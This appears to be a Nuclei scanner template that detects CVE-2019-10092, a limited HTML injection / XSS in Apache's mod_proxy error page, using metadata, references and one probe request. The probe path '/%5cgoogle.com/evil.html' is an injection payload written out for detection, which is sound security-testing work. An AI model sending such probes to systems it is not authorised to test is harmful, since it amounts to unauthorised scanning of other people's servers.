id: CVE-2019-10092

info:
  name: Apache mod_proxy HTML Injection / Partial XSS
  author: pdteam
  severity: medium
  description: In Apache HTTP Server 2.4.0-2.4.39, a limited cross-site scripting issue was reported affecting the mod_proxy error page. An attacker could cause the link on the error page to be malformed and instead point to a page of their choice. This would only be exploitable where a server was set up with proxying enabled but was misconfigured in such a way that the Proxy Error page was displayed.
  reference:
    - https://github.com/DrunkenShells/Disclosures/tree/master/CVE-2019-10092-Limited%20Cross-Site%20Scripting%20in%20mod_proxy%20Error%20Page-Apache%20httpd
    - https://httpd.apache.org/security/vulnerabilities_24.html
    - https://lists.debian.org/debian-lts-announce/2019/09/msg00034.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-10092
    cwe-id: CWE-79
  tags: cve,cve2019,apache,htmli,injection

requests:
  - method: GET
    path:
      - '{{BaseURL}}/%5cgoogle.com/evil.html'
    matchers:
      - type: word
        words:
          - "<a href=\"/\\google.com/evil.html\">"